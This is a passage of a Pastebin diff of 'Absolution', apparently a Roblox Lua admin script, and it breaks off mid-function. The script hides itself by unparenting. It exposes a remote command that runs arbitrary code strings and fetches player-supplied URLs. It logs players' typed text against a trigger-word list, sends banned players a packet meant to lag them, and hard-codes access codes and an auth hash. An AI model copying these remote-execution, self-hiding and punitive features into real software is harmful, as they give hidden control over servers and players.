View difference between Paste ID: 9yF3ufZ5 and MyyR9shG
SHOW: | | - or go back to the newest paste.
1
--[[ 
2
	ABSOLUTION ADMINISTRATION
3
	Consumer Edition
4
	Command Syntax: Command/Arguments -Flags 
5
	Example: kill/Darkus-r
6
	---------------------------
7
	@Author: Darkus_Theory
8
		@Name: Absolution
9
			@Date: 2/19/16
10
				@Engine: Lua 5.1
11
--]]
12
13
wait(0.003)
14
local start_time = tick()
15
--local Absolution;
16
Absolution = setmetatable({
17
	Services=setmetatable({Game=game},{
18
		__index=function(self,index)
19
			index=tostring(index);	
20
			return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2));
21
		end;
22
		__newindex=function()
23
			error('You cannot add services manually');
24
		end;
25
		__call=function(self,index)
26
			return self[index];
27
		end;
28
		__metatable='Protected';
29
	});
30
	Ranks = {
31
		[9]	"SpinnerChris"	= "localhost";
32
		[8]					= "ROOT";
33
		[7] 				= "Developer";
34
		[6]					= "Administrator";
35
		[5]					= "Debugger";
36
		[4] 				= "Moderator";
37
		[3] 				= "Overseer";
38
		[2] 				= "Pseudo";
39
		[1] 				= "Beta";
40
		[0.5] 				= "Trusted";
41
		[0] 				= "Player";
42
		[-0.5]				= "Blacklist";
43
		[-1] 				= "Banished";
44
		[-2] 				= "Superbanned";
45
	};
46
	Settings = {
47
		["Rotation_Style"] 	= 'Normal';
48
		["Logo"]			= '414448010',
49
		['BallScale']		= 10,
50
	};
51
	TraceLogs				= {};
52
	Nicknames				= {};
53
	PluginManager 			= {};
54
	IRCDebug				= {};
55
	Errors					= {};
56
	Functions 				= {};
57
	Handler					= {};
58
	Players			 		= {};
59
	Ranked			  		= {};
60
	Tempbans				= {};
61
	HandlingBans			= {};
62
	Music 					= {};
63
	Connections 			= {Killing = {};};
64
	pseudoRank				= {};
65
	Logs					= {};
66
	Tablets					= {};
67
	Commands				= {};
68
	Ignoring				= {};
69
	TriggerWords			= {'ban','kick','lag','s3x','d33k','fweld','aerx','rosploit','jeerve'};
70
	uniqueKey				= string.sub(tostring(game:service'HttpService':GenerateGUID(true)), 2, 8);
71
	lastPing 				= tick();
72
	AgeRestriction 			= true;
73
	Booted					= false;
74
	TPReserves 				= {["21053279"]="3AoF5NoEvR9rQ6-Q4dS8W9knYQPRYXZGrLvf5Yr_B4JfP0EBAAAAAA2",["437965235"]="uldxE2h5nxghfpyJmiPH2UboRU_cKbhArOHRgzH9JMuz0RoaAAAAAA2"};
75
	Constants = {
76
		ShutdownTime		= 30;
77
		TabletRotation 		= 0;
78
		MaxResults			= 15;
79
	};
80
	GroupData				= {
81
		GroupID				= 971711;
82
		GroupRanks			= {
83
			[0]		= {247,0};
84
			[1]		= {246};
85
			[2]		= {251};
86
			[3]		= {248};
87
			[4]		= {250};
88
			[5]		= {249};
89
			[6]		= {252};
90
			[7]		= {253};
91
			[8]		= {254};
92
			[9]		= {255};
93
		};
94
	};
95
	HttpConstants 			= {
96-
		IRC					= {["Name"] = "#Absolution",["whiteList"] = {'clarra','ic3','xXMLGBellXx','notControl22','Precession','iKrypto','HighDefinition','Tangy'}};
96+
		IRC					= {["Name"] = "#Absolution",["whiteList"] = {'jassm11'}};
97
		IP					= "website here";
98
		API					= "http://roblox-proxy.cf";
99
		UpdateURL			= "titanpad link here";
100
		Incoming 			= "/roblox/Absolution/OutgoingConnections.php";
101
		Outgoing 			= "/roblox/Absolution/IncomingConnections.php";
102
		ConsoleTXT			= "/RemoteInstructions.txt";
103
		ConsolePHP			= "/RemoteInstructions.php";
104
		Remote				= "/roblox/Absolution/remoteExecute.lua";
105
		Tempbans			= "/roblox/Absolution/Tempban.php";
106
		Modlogs				= "/roblox/Absolution/AppendLog.php";
107
		AuthURI				= "/roblox/Absolution/AddAuthentication.php";
108
		pircm 				= "";
109
		Upload				= "/roblox/upload.php";
110
		PreviousSync 		= 'nil';
111
		PreviousWSync		= 'nil';
112
		pythonConsole		= {
113
			IP					= "http://absolution-server.xyz:443";
114
			ChatServ			= "/chat/<%s> %s %s";
115
			Authentication		= "/auth=%s";
116
			Commands			= "/%s";
117
			previousCommand		= "";
118
		};
119
		APIs				= {
120
			Music				= "/roblox/API/SearchMusic.php";
121
			Username			= "/roblox/API/Usernames.php";
122
			NewServer			= "/roblox/API/NewServer.php";
123
			Misc				= "/roblox/API/index.php";
124
							};
125
		HttpEnabled 		= (function() local Enabled, Error = ypcall(function() game:GetService("HttpService"):GetAsync("http://www.google.com/") end) if Enabled then return true else return false end end)(),
126
		pluginLink 			= "http://pastebin.com/raw/FRbyPAdZ";
127
		};
128
	Fake = {
129
		_G 					= {},
130
		shared 				= {},
131
		Functions		 	= {},
132
	},
133
	Locks = {
134
		LocalScripts 		= false,
135
		Scripts 			= false,
136
		Server 				= {["Locked"] = false;["rankNumber"] = 0;["Duration"] = 120;["Server"] = false;["Local"] = false;},
137
	},
138
	PrivateServer = {
139
		Type				= 'Kick';
140
		Enabled 			= false;
141
	};
142
	Storage = {
143
		DS 					= game:GetService("DataStoreService"):GetDataStore("\\:Absolution");
144
	};
145
	ScriptType 				= (game:FindService("NetworkServer") and "Server" or "Studio"),
146
	injectBlacklist			= {{["ID"] = 65135680, ["REASON"] = 'Requested by Client.'}}
147
},{__call=function(self,index)return rawget(self,index) end;});
148
coroutine.wrap(function()
149
	local to_be_pushed=true;
150
	local push;push=function(table,_index,_call,_new,___index)
151
		if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
152
			local fake={
153
				__index=_index or(function(self,index)
154
					return rawget(self,index);
155
				end);
156
				__call=_call or(function(self,index)
157
					return rawget(self,index);
158
				end);
159
				__newindex=_new or(function(self,index,value)
160
					if(type(value)=='table')then
161
						push(value);
162
					end;
163
					rawset(self,index,value);
164
				end);
165
				__metatable='Protected';
166
			};
167
			return setmetatable(table,fake);
168
		end;
169
	end;
170
	if(not to_be_pushed)then return end;
171
	for _,v in next,Absolution do
172
		if(type(v)=='table')then
173
			push(v,nil,nil,nil,_);
174
		end;
175
	end;
176
	setmetatable(Absolution,{
177
		__call=function(self,index)
178
			return rawget(self,index);
179
		end;
180
		--__index=function(self,index)
181
		--	return rawget(self,index);
182
		--end;
183
		__newindex=function(self,index,value)
184
			if(type(value)=='table')then
185
				push(value,nil,nil,nil,index);
186
			end;
187
			rawset(self,index,value);
188
		end;
189
		__metatable='Protected';
190
	});
191
end)();
192
193
194
script.Name = 'Absolution - Server'
195
coroutine.yield()
196
script.Parent = nil
197
----------------------------------------------- START SCRIPT --------------------------------------------------------
198
199
Absolution.Logs.append = function(self, tbl)
200
	self[#self+1] = tbl
201
end
202
203
Absolution.Functions.Print = function(message, typ)
204
	if not message then return false,'No message was sent.' end
205
	if not typ then typ = 1 end
206
	if typ == 1 then
207
		Absolution.Logs:append({Type='Print',Message=message})
208
		print(message)
209
	elseif typ == 2 then
210
		Absolution.Logs:append({Type='Warning',Message=message})
211
		warn(message)
212
	elseif typ == 3 then
213
		Absolution.Logs:append({Type='Error',Message=message})
214
		pcall(function() error(message) end)
215
	end
216
end
217
218
-- In-Script locking --
219
Absolution.Functions.Lock = {
220
	Table = function(Table)
221
				setmetatable(Table, {
222
				__metatable = "[ Sandbox ]:\nLocked",
223
				})
224
				for Index, Value in pairs(Table) do
225
					if type(Index) == "table" then Absolution.Functions.Lock.Table(Index) end
226
					if type(Value) == "table" then Absolution.Functions.Lock.Table(Value) end
227
				end
228
			end
229
}
230
Absolution.Functions.Simulate = { -- Things that are simulated
231
	Table = function(Table)
232
		local SimulatedTable = {}
233
		for Index, Value in pairs(Table) do
234
			SimulatedTable[Index] = Value
235
		end
236
	return SimulatedTable
237
	end,
238
}
239
240
-- PseudoScripting Functions --
241
Absolution.Functions.createLocalScript = function(source,parent,name,hasval)
242
	if not script:findFirstChild(source,true) then return end
243
	local s = script:findFirstChild(source,true):Clone()
244
	s.Parent = parent
245
	s.Name = (name and name or s.Name)
246
	if hasval then
247
		local val = s:children()[1]
248
		val.Value = hasval
249
	end
250
	wait()
251
	s.Disabled = false
252
	Absolution.Logs:append({'Script',Absolution.Functions.GetTime(tick()),source,tostring(parent.Parent)..'.'..tostring(parent)});
253
end
254
Absolution.Functions.createScript = function(source, parent, name)
255
	local s = script["ScriptBase"]:Clone()
256
	s.Parent = parent
257
	s:FindFirstChild("Val").Value = source
258
	s.Name = (name and name or s.Name)
259
	wait()
260
	s.Disabled = false
261
end
262
Absolution.Functions.NLS = function(source, parent, name)
263
	local Ran,Error = ypcall(function()
264
		local function url_encode(form)
265
		local result = {}
266
			for key, value in pairs(form) do
267
			table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
268
			end
269
		return table.concat(result, "&")
270
		end
271
		local pt = {SRC=source}
272
		local body = url_encode(pt)
273
		local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Upload, body, Enum.HttpContentType.ApplicationUrlEncoded)
274
		wait(.5)
275
		Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'Made a new localscript'});
276
		local newScript = require(tonumber(s))
277
		newScript.Parent = parent
278
		newScript.Name = (name and name or newScript.Name)
279
		wait()
280
		newScript.Disabled = false
281
		return newScript
282
	end)
283
	if not Ran then warn('[Absolution] - '..Error) end
284
end
285
286
-- Handler --
287
Absolution.Handler.AuthorizeRemote = function(self,remote)
288
	local initial = Instance.new("StringValue")
289
	initial.Name = "AUTHORIZED"
290
	initial.Value = "336c063bbccc80ebfa20df4b04b407cb61fb1c4301094183744bedb3b2e5e375429523190ecd4c44492dbf86e84346c62c94"
291
	initial.Parent = remote
292
end
293
Absolution.Handler.ConnectServer = function(self, server)
294
	server.OnServerInvoke = function(Player, Command, Key, etc)
295
	if not Absolution then return end
296
		if Key~= Absolution.uniqueKey then return false,"Access Denied" end
297
		if Command=='Message' then
298
		Absolution.Functions.Print(tostring(Player)..': '..etc[1])
299
		elseif Command=='Aerx' then
300
			Absolution.Ranked[Player.Name].Description = 'using aerx (autoban)'
301
			Absolution.Ranked[Player.Name].Rank = -1
302
			Absolution.Functions.Out('Admins', Player.Name..' was using aerx.', 5)
303
		elseif Command=='RX6' then
304
			Absolution.Ranked[Player.Name].Description = 'using RX6 (autoban)'
305
			Absolution.Ranked[Player.Name].Rank = -1
306
			Absolution.Functions.Out('Admins', Player.Name..' was using RX6.', 5)
307
		elseif Command=='SEX' then
308
			Absolution.Ranked[Player.Name].Description = 'using sexgui (autoban)'
309
			Absolution.Ranked[Player.Name].Rank = -1
310
			Absolution.Functions.Out('Admins', Player.Name..' was using sexgui.', 5)
311
		elseif Command=='Tablets' then
312
			local Data=etc;
313
			local Func=Absolution.Tablets[Data[1]].Func
314
			local r,e = ypcall(Func,Player)
315
			print(Data[1],tostring(Func))
316
			return r,e
317
		elseif Command=='Handshake' then
318
			if Absolution.Ranked[Player.Name].Rank >=4 then Absolution.Handler:sendPacket(Player, 'togglenil') end
319
			return {game.JobId, Absolution.Ranked, Absolution.uniqueKey}
320
		elseif Command=='Command' then
321
		Absolution.Functions.onChatted(Player, etc[1])
322
			if etc[1]:find'trace/' then return end
323
			if not Absolution.TraceLogs[Player.Name] then
324
				Absolution.TraceLogs[Player.Name] = {}
325
			end
326
			local parseddata = etc[1]
327
			
328
			if etc[1]:find('/http') and game.PlaceId~=21053279 then
329
				local link = etc[1]:sub(etc[1]:find('/http')+1)
330
				wait(1)
331
				local gas = Absolution.Services.HttpService:GetAsync(link)
332
				if gas then
333
					parseddata = gas
334
					else
335
					parseddata = etc[1]
336
				end
337
			end
338
			
339
			Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
340
		elseif Command=='Loadstring' then
341
			loadstring(etc[1])()
342
		elseif Command=='Console' then
343
		if etc[1]:find'trace/' then return end
344
			if not Absolution.TraceLogs[Player.Name] then
345
				Absolution.TraceLogs[Player.Name] = {}
346
			end
347
			local parseddata = etc[1]
348
			
349
			if etc[1]:find('/http') and game.PlaceId~=21053279 then
350
				local link = etc[1]:sub(etc[1]:find('/http')+1)
351
				wait(1)
352
				local gas = Absolution.Services.HttpService:GetAsync(link)
353
				if gas then
354
					parseddata = gas
355
					else
356
					parseddata = etc[1]
357
				end
358
			end
359
			
360
			local shortenedparseddata = parseddata
361
			
362
			for nildata, player in next, Absolution.Functions:getALLPlayers() do
363
				if parseddata:lower():find(player.Name:lower()) then
364
				if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(player.Name:lower())-10,parseddata:lower():find(player.Name:lower())+45) end
365
					Absolution.Functions.Out(player, 'Your name was detected from player '..Player.Name, 2)
366
					Absolution.Functions.Out(player, 'Trigger String: '..shortenedparseddata:gsub("\n",""), 2)
367
					if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end
368
				elseif Absolution.Functions:findRank(player) >= 4 and Absolution.Functions.Sanitize(parseddata) and Absolution.Functions:findRank(Player) < 6 then
369
					local word = Absolution.Functions.Sanitize(parseddata)
370
					if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(word:lower())-10,parseddata:lower():find(word:lower())+45) end
371
					Absolution.Functions.Out(player, 'Trigger word ('..word..') detected from player '..Player.Name..'!', 3)
372
					Absolution.Functions.Out(player, 'String: '..shortenedparseddata:gsub("\n",""), 3)
373
					if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end
374
				end
375
			end
376
			
377
			Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
378
		else
379
		end	
380
	end
381
	server.Changed:connect(function(change)
382
		local c = change:lower()
383
		if c=='name' then
384
			server.Name = 'AbsolutionHandler'
385
		elseif c=='parent' then
386
			wait()
387
			server.Parent = Absolution.Services.ReplicatedStorage
388
		else
389
		server:Destroy()
390
		Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)
391
		end
392
	end)
393
	self["SERVER"] = server
394
end
395
396
397
398
Absolution.Handler.CreateHandler = function(self, Name, Place)
399
	if Place:FindFirstChild(Name) then Place:FindFirstChild(Name):Destroy'' end
400
	local pseudoRemote = Absolution.Functions:Create('RemoteFunction',{Name=Name})
401
	Absolution.Handler:AuthorizeRemote(pseudoRemote)
402
	wait()
403
	pseudoRemote.Parent = Place
404
	Absolution.Handler:ConnectServer(pseudoRemote)
405
end
406
--Absolution.Handler.oldPacket('tusKOr661','CORE.Functions:executeClient("rejoin")')
407
Absolution.Handler.oldPacket = function(Player, String)
408
local Str = Instance.new('StringValue')
409
Str.Name = tostring(Player)..' RUN '..Absolution.uniqueKey
410
Str.Value = String
411
wait()
412
Str.Parent = Absolution.Services.Lighting
413
Absolution.Services.Debris:AddItem(Str, 5)
414
end
415
416
Absolution.Handler.sendPacket = function(self, Player, Command, etc)
417
	local etc = (type(etc)=='table' and etc or {}) 
418
	if type(Player) == 'userdata' then 
419
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, Command, Absolution.uniqueKey, etc)
420
		return receive,data
421
	elseif type(Player) == 'string' then
422
		local Plr = Absolution.Services.Players:FindFirstChild(Player) 
423
		if not Plr then return "Player was not found" end
424
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, Command, Absolution.uniqueKey, etc)
425
		return receive,data
426
	else
427
		return 'INVALID PLAYER TYPE!'
428
	end
429
end
430
431
Absolution.Handler.clientLS = function(self, String, Player)
432
	if type(Player) == 'userdata' then 
433
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
434
		return receive,data
435
	elseif type(Player) == 'string' then
436
		local Plr = Absolution.Services.Players:FindFirstChild(Player) 
437
		if not Plr then return "Player was not found" end
438
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
439
		return receive,data
440
	elseif not Player then
441
		Absolution.Handler:fireAllClients('loadstring', {["str"]=(String and String or [[print"No string"]])})
442
	else
443
		return 'INVALID PLAYER TYPE!'
444
	end
445
end
446
447
Absolution.Handler.fireAllClients = function(self, Command, etc)
448
	for i,v in pairs(Absolution.Functions.getALLPlayers()) do
449
		local receive,data = Absolution.Handler:sendPacket(v, Command, (etc and etc or nil))
450
		return receive,data
451
	end
452
end
453
454
Absolution.Handler.sendChat = function(Message, Player, over, Color, isDiscord)
455
	if Message:lower():find('http') then Message = 'http://google.com' end
456
	Message = Message:gsub("","")
457
	if over and Message:find(over) then
458
	local rem = string.sub(Message,1,Message:find(":")-1)
459
		if rem then
460
			string.gsub(Message,rem,"")
461
		end
462
	end
463
	if Player then 
464
	if Message:lower():find(tostring(Player):lower()) then Color = 'Red' else Color = 'White' end
465
		Absolution.Handler:sendPacket(Player, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]='Purple'})
466
		Absolution.Functions:sbChat(Message, Player, over)
467
		else
468
		for i,v in pairs(Absolution.Functions.getALLPlayers()) do
469
		if Message:lower():find(tostring(v):lower()) then Color = 'Red' else Color = 'White' end
470
			Absolution.Handler:sendPacket(v, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]=Color})
471
		end
472
		for q,e in pairs(Absolution.Services.Players:getPlayers()) do
473
			Absolution.Functions:sbChat(Message, e, (over and over or nil))
474
		end
475
	end
476
end
477
478
Absolution.Handler.Ping = function(self)
479
	for i,v in pairs(Absolution.Functions.getALLPlayers()) do
480
		Ran,Error = ypcall(function()
481
			if Absolution.Players[v.Name] then
482
				local r,d = Absolution.Handler:sendPacket(v, 'Ping')
483
				if r == true and d:lower() == 'pong' then
484
					Absolution.Players[v.Name].lastPing = Absolution.Functions.GetTime(tick())
485
				end
486
			end
487
		end)
488
		if not Ran then error(Error) end
489
	end
490
return false
491
end
492
493
--[[Tracer Cusmpilation]]--
494
495
Absolution.Functions.TraceSearch = function(keyword, isplr)
496
497
	local results = {}
498
499
	for player, logdata in next, Absolution.TraceLogs do
500
		
501
		if not isplr then
502
		
503
			for index, logtable in pairs(logdata) do
504
				
505
				local logDATA = logtable.logData
506
				if logDATA:lower():find(keyword:lower()) then
507
				
508
				if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
509
				
510
				results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
511
				
512
				end
513
				
514
			end
515
			
516
		elseif isplr and player==keyword then
517
		
518
			for index, logtable in pairs(logdata) do
519
				
520
				local logDATA = logtable.logData
521
				if logDATA:lower():find(keyword:lower()) then
522
				
523
				if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
524
				
525
				results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
526
				
527
				end
528
				
529
			end
530
		
531
		end
532
		
533
	end
534
	
535
	return results
536
	
537
end
538
539
--[[
540
for i,v in next,Absolution.Functions.TraceSearch('asd') do
541
print(v.plr,v.data)
542
end
543
--]]
544
545
--[[ Main Functions ]]--
546
-- Shutdown --
547
Absolution.Functions.Shutdown = function(ranby,Reason)
548
Absolution.Functions.Announce('Shutdown commenced by: '..(ranby and ranby or 'Absolution'))
549
wait()
550
Absolution.DCTAPI.sendMessage(('Shutdown commenced by: '..(ranby and ranby or 'Absolution')))
551
	while wait() do
552
		for i,v in pairs(Absolution.Functions.getALLPlayers()) do
553
			v:Kick((ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') and (ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator')  or 'Shutdown by: '..(ranby and ranby or 'Absolution'))
554
		end
555
	end
556
end
557
558
-- getALLPlayers --
559
Absolution.Functions.getALLPlayers = function() 
560
	local ALLPlayers = {}
561
	for i,v in pairs(Absolution.Services.NetworkServer:GetChildren()) do
562
		ypcall(function()
563
			if v:IsA("ServerReplicator") then
564
				table.insert(ALLPlayers, v:GetPlayer())
565
			end
566
		end)
567
	end
568
	return ALLPlayers
569
end
570
571
Absolution.SandboxSource = "print'asd'"
572
573
-- Create --
574
Absolution.Functions.Create = function(self, ClassName, Properties)
575
	local Instance = Instance.new(ClassName)
576
	local Properties = Properties or {}
577
	local ConnectionIndexes = {"MouseClick","MouseHoverEnter","MouseHoverLeave","MouseButton1Down","MouseButton2Down"}
578
	local CheckConnection = function(Index)
579
	local Index = tostring(Index)
580
		for _, Connect in pairs(ConnectionIndexes) do
581
			if Index:lower() == Connect:lower() then
582
				return true
583
			end
584
		end
585
	return false
586
	end
587
	for Index, Value in pairs(Properties) do
588
		if not CheckConnection(Index) then
589
			Instance[Index] = Value
590
		else
591
			Instance[Index]:connect(Value)
592
		end
593
	end
594
return Instance
595
end
596
597
-- ServerLocking --
598
Absolution.Locks.Server.enabledServerLock = function(self)
599
	if self.Locked then return end
600
	local t = self.Duration
601
	local r = self.rankNumber
602
	Absolution.Functions.Announce("Server Lock Enabled")
603
	Absolution.Locks.Server.Locked = true 
604
	Instance.new("Hint", Absolution.Services.Workspace).Name = 'absolutionSht'
605
	for i = t,0,-1 do
606
		local ABM = workspace:findFirstChild('absolutionSht')
607
		if not ABM then
608
			ABM = Instance.new("Hint", Absolution.Services.Workspace)
609
			ABM.Name = 'absolutionSht'
610
		end
611
		ABM.Text = '[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!'
612
		for i,v in pairs(Absolution.Services.Players:players()) do
613
			local pRank = Absolution.Functions.getRankedTable(tostring(v)) and Absolution.Functions:findRank(tostring(v)) or 0
614
			if pRank < r then
615
				v:Kick('[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!')
616
			end
617
		end
618
		if self.Locked==false then ABM:remove() break end
619
	wait(1)
620
	end
621
	Absolution.Functions.Announce("Server Lock Disabled")  
622
	Absolution.Locks.Server.Locked = false 
623
	Absolution.Functions.Out('Admins', "Server Lock Disabled", 5)
624
end
625
626
627
-- Rotation! --
628
Absolution.Constants.TabletRotation = 0
629
Absolution.Functions.UpdateTablets = function(self)
630
	Absolution.Constants.TabletRotation = Absolution.Constants.TabletRotation==360 and 0 or Absolution.Constants.TabletRotation*(.1/100)
631
	for _, Player in pairs(Absolution.Functions:getALLPlayers()) do
632
		local PlrTabs = {}
633
		for i,v in pairs(Absolution.Tablets) do
634
			if v.Tab.Parent ~= nil and v.Plr == Player.Name then
635
				table.insert(PlrTabs, v)
636
			end
637
		end
638
		local radiusdata = Absolution.Functions.getRankedTable(Player.Name).Distance ~= nil and Absolution.Functions.getRankedTable(Player.Name).Distance or 15
639
				local pos = nil
640
				pcall(function()
641
					if Player.Character.Parent == Absolution.Services.Workspace then
642
						pos = Player.Character.Torso.CFrame
643
					end
644
				end)
645
				pcall(function()
646
					if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then
647
						pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame
648
					end
649
				end)
650
				local radius = radiusdata + (#PlrTabs * 0.5)
651
				if not pos then pos = CFrame.new(0,15,0) end
652
				local LastKnownPosition = pos
653
		for Index = 1, #PlrTabs do
654
			local Tablet = PlrTabs[Index].Tab
655
			local Dec = Tablet:findFirstChild('aDD', true)
656
			if Tablet and Tablet.Parent then
657
				local newCFrame = Absolution.Functions.CLerp(Tablet.CFrame,CFrame.new(LastKnownPosition.p)
658
				* CFrame.Angles(0, math.rad((360/#PlrTabs*Index+(tick())*60/(#PlrTabs ~= 0 and 10 or 1))%360), 0)
659
				* CFrame.new(0, 0, ((radius*2)+#PlrTabs)*.35+Tablet.Size.X), .2)
660
				Tablet.CFrame = CFrame.new(newCFrame.p,pos.p)
661
				if Dec and Dec.Parent then Dec.CFrame = CFrame.new(newCFrame.p,pos.p) end
662
				--	* CFrame.Angles(math.rad(math.sin(tick()*4)*20)/Index,0,math.rad(math.sin(tick()*4)*20))
663
			else
664
				table.remove(PlrTabs, Index)
665
			end
666
		end
667
	end
668
end
669
-- reloadLogoGui --
670
Absolution.Functions.reloadLogoGui = function(v)
671
local PG;
672
local ScreenGui;
673
local ImageButton;
674
PG=v:findFirstChild'PlayerGui' 
675
	if PG==nil then
676
		v:LoadCharacter()
677
		PG=v:waitForChild'PlayerGui'
678
	end
679
	if PG:findFirstChild'Info'==nil then
680
	local db = tick()+6
681
		ScreenGui = Instance.new("ScreenGui", PG)
682
		ScreenGui.Name='Info'
683
		ImageButton = Instance.new("ImageButton", ScreenGui)
684
		ImageButton.Position = UDim2.new(.94, 0, .92, 0)
685
		ImageButton.Size = UDim2.new(.06, 12, .08, 0)
686
		ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
687
		ImageButton.BorderColor3 = Color3.new(0, 0, 0)
688
		ImageButton.BackgroundTransparency = 1
689
		ImageButton.Visible = true
690
		ImageButton.Image = 'rbxassetid://'..Absolution.Settings.Logo
691
		ImageButton.Draggable=false
692
		ImageButton.MouseButton1Down:connect(function()
693
			if tick()-db >= 2 then
694
			Absolution.Handler:sendPacket(player, 'TerminalOn')
695
			Absolution.Functions.showData(v)
696
			db = tick()
697
			end
698
		end)
699
	end
700
end
701
702
-- handleBan --
703
Absolution.Functions.handleBan = function(Player)
704
	if Absolution.HandlingBans[Player] then return end
705
	Absolution.HandlingBans[Player] = true
706
	local playerData = Absolution.Functions.getRankedTable(tostring(Player))
707
	local playerName = tostring(Player)
708
	if playerData then
709
			if Absolution.Functions:findRank(Player) == -2 then
710
				coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'rekt',{["REASON"] = playerData.Description}) end)()
711
				wait()
712
				if Player then Player:Kick('You are banned from joining for '..playerData.Description) end
713
				Absolution.Functions.Announce(playerName.." was lagged due to a banishment. | REASON: "..playerData.Description)
714
				--Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
715
			elseif Absolution.Functions:findRank(Player) == -1 then
716
				coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
717
				wait()
718
				if Player then Player:Kick('You were banned for '..playerData.Description) end
719
				Absolution.Functions.Announce(playerName.." was kicked due to a banishment. | REASON: "..playerData.Description)
720
				--Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
721
			elseif Absolution.Functions:findRank(Player) == -0.5 and not Absolution.Tempbans[tostring(Player.userId)] then
722
				Absolution.Functions.Out('Admins', 'A blacklisted user ('..playerName..') has joined the server.', 3)
723
			end
724
			if Absolution.Tempbans[tostring(Player.userId)] then  
725
				local tban_data = Absolution.Tempbans[tostring(Player.userId)]
726
				local timeremaining = ((tban_data.timeEnd)-tick())
727
				if timeremaining >= 0 then
728
					coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
729
					wait()
730
					if Player then Player:Kick("You were temp-banned for "..playerData.Description..". | TIME REMAINING: "..Absolution.Functions.GetTime(timeremaining)) end
731
					Absolution.Functions.Announce(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description)
732
					--Absolution.Functions.sbOutput(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description, 'Error')
733
					return
734
				else
735
					playerData.Rank = 0
736
				end
737
			end
738
	end
739
	wait(3)
740
	Absolution.HandlingBans[Player] = false
741
end
742
743
Absolution.Functions.checkPrivateBase = function()
744
745
	local function makeBase()
746
		local Base = Instance.new("Part")
747
		Base.BrickColor = BrickColor.new("Dark green")
748
		Base.CFrame = CFrame.new(5000, 200, 5000)
749
		Base.Transparency = 0
750
		Base.Elasticity = 0.5
751
		--Base.FormFactor = "Custom"
752
		Base.Material = 'Grass'
753
		Base.CanCollide = true
754
		Base.Friction = 0.30000001192093
755
		Base.Size = Vector3.new(2044, 0, 2044)
756
		Base.Archivable = true
757
		Base.Material = "Grass"
758
		Base.RotVelocity = Vector3.new(0, 0, 0)
759
		Base.Reflectance = 0
760
		Base.Locked = true
761
		Base.Anchored = true
762
		Base.Name = "AbsolutionBase"
763
		Base.TopSurface = "Smooth"
764
		Base.BottomSurface = "Inlet"
765
		Base.Shape = "Block"
766
		Base.Parent = Absolution.Services.Workspace.Terrain
767
		local v = Instance.new('Model', Base)
768
		v.Name = 'Verified'
769
		coroutine.wrap(function()
770
		while Base do
771
		wait()
772
			for i,v in pairs(Absolution.Services.Players:GetPlayers()) do
773
				if v.Character then
774
					if v.Character:findFirstChild'Torso' then
775
						local pos = (Base.Position-v.Character:findFirstChild'Torso'.Position).magnitude
776
						if pos < 2044 and Absolution.Ranked[v.Name].Rank < 3 then
777
							v:LoadCharacter()
778
						end
779
					end
780
				end
781
			end
782
		end
783
		end)()
784
	end
785
	
786
	if not game:service'Workspace'.Terrain:findFirstChild('Verified', true) then
787
		makeBase()
788
	end
789
	
790
end
791
		
792
-- mainLoop --
793
Absolution.Functions.mainLoop = function()
794
		coroutine.wrap(function()
795
			for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
796
				coroutine.wrap(Absolution.Functions.reloadLogoGui)(v)
797
			end
798
		end)()
799
		coroutine.wrap(function()
800
			for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
801
				local cRank = Absolution.Functions.calculateRankInGroup(Player)
802
